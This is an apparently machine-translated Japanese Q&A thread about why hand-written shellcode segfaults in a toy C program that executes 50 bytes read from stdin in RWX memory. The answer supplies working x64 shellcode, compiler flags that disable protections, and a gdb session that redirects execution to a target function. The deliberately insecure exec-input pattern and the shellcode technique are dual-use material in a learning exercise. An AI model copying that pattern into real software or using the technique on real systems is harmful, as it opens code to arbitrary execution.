シェルコードで関数「target」を呼び出すと、セグメンテーション違反エラーが発生します。
プログラムのCコードは次のとおりです。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define AMOUNT_OF_STUFF 50
void target(){
//Magic Happens Here
}
void function_x(){
char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if(stuff == MAP_FAILED){
exit(0);
}
printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
fflush(stdout);
int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
if(len == 0){
exit(0);
}
void (*func)() = (void (*)())stuff;
func();
}
int main(){
function_x();
return 0;
}
「CALL TARGET_FUNCTION_ADDRESS」命令のオペコードである「0xfffef5e8」を取得し、ファイルに次のように保存しました:echo -e "\ xe8\xf5\xfe\xff"> shellcode
次に、シェルコードを入力としてプログラムに渡しました:
(gdb) r < shellcode
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/rakesh/a.out < shellcode
You can type 50 bytes:
Breakpoint 1, 0x08048615 in function_x ()
(gdb) si
0xb7fd5000 in ?? ()
(gdb) x/10w $eip
0xb7fd5000: 0xfffef5e8 0x0000000a 0x00000000 0x00000000
0xb7fd5010: 0x00000000 0x00000000 0x00000000 0x00000000
0xb7fd5020: 0x00000000 0x00000000
(gdb) si
0xc2fd4efa in ?? ()
(gdb) si
Program received signal SIGSEGV, Segmentation fault.
0xc2fd4efa in ?? ()
(gdb)
[46]+ Stopped gdb ./a.out
EIPが指定されたシェルコードを指していることがわかりますが、それでも期待どおりに機能していません。
シェルコードが機能しない理由を誰かに教えてもらえますか?
ジョシュアが言ったように、ターゲット関数のアドレスをレジスタにmov(e)し、そのレジスタを呼び出します。関数アドレスではなく実行されるshellcode(opcodes)が必要なため、それをアセンブルしてそのオペコードを使用します。
あなたが書いたようにfunc()
が関数ポインタにtypecasing( "stuff")した後に呼び出されたとき
void (*func)() = (void (*)())stuff;
func();
悪用:
私はあなたのCコードを使用し、ターゲット関数を少し変更しました
void target(){
//Magic Happens Here
puts("You won");
exit(0);
}
次のgccフラグでコンパイルしました:gcc -fno-stack-protector -z execstack vuln.c
64ビットアーキテクチャで実行したため、バイナリはELF 64ビットです。次に、gdbでバイナリを実行し、「ターゲット」関数のアドレスを次のように見つけます。
(gdb) p target
$1 = {<text variable, no debug info>}` **0x4006dd** `<target>
here に移動し、次のx64命令をアセンブルします(x86の場合は、raxの代わりにeaxを使用します)。例:
mov rax ,0x4006dd
call rax
次のシェルコードが表示されます:**\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**
それをファイルに書き込みます
python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out
50バイトを入力できます:**You won**
root@BOX:~#`
したがって、ターゲット関数を実行します。
呼び出しのオペコードをどこで取得したかはわかりませんが、オペコードを使用して、呼び出したい関数のアドレスをレジスターに入れ、そのレジスターを呼び出します。呼び出しの前にeip +1を追跡する必要がない限り、jmp命令を使用することもできます。
プログラムは、ユーザーランド外のメモリにアクセスしようとすることになり、それがsegfaultの原因です。